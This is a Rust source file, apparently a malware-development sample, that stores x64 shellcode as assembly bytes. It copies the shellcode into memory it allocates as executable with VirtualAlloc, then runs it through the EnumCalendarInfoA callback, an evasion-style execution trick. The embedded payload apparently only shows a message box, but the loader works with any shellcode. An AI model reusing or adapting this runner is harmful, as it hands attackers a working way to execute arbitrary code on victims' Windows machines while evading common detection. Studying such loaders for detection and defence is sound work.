sample_asm.rs

/*
    Sample Shellcode Execution through ASM...
    By @5mukx
 */
use std::arch::global_asm;
use std::ptr::null_mut;
use winapi::um::handleapi::CloseHandle;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::winnls::EnumCalendarInfoA;


global_asm!(
    r#"
    .section .rodata
    .global rust_asm_func
    rust_asm_func:
        .byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff
        .byte 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51
        .byte 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b
        .byte 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50
        .byte 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0
        .byte 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41
        .byte 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20
        .byte 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00
        .byte 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e
        .byte 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3
        .byte 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6
        .byte 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41
        .byte 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08
        .byte 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49
        .byte 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40
        .byte 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0
        .byte 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41
        .byte 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59
        .byte 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e
        .byte 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26
        .byte 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48
        .byte 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01
        .byte 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff
        .byte 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5
        .byte 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73
        .byte 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e
        .byte 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73
        .byte 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
    "#
);

extern "C"{
    static rust_asm_func: [u8; 328];
}

fn main(){
    unsafe{
        let shellcode = rust_asm_func;
        
        let addr = VirtualAlloc(
            null_mut(),
            shellcode.len(),
            0x1000 | 0x2000, 
            0x40,
        );

        std::ptr::copy_nonoverlapping(shellcode.as_ptr(), addr as *mut u8, shellcode.len());

        EnumCalendarInfoA(
            std::mem::transmute(addr), 
            0x0400,
            4294967295u32, 21u32
        );

        CloseHandle(addr);

    }
}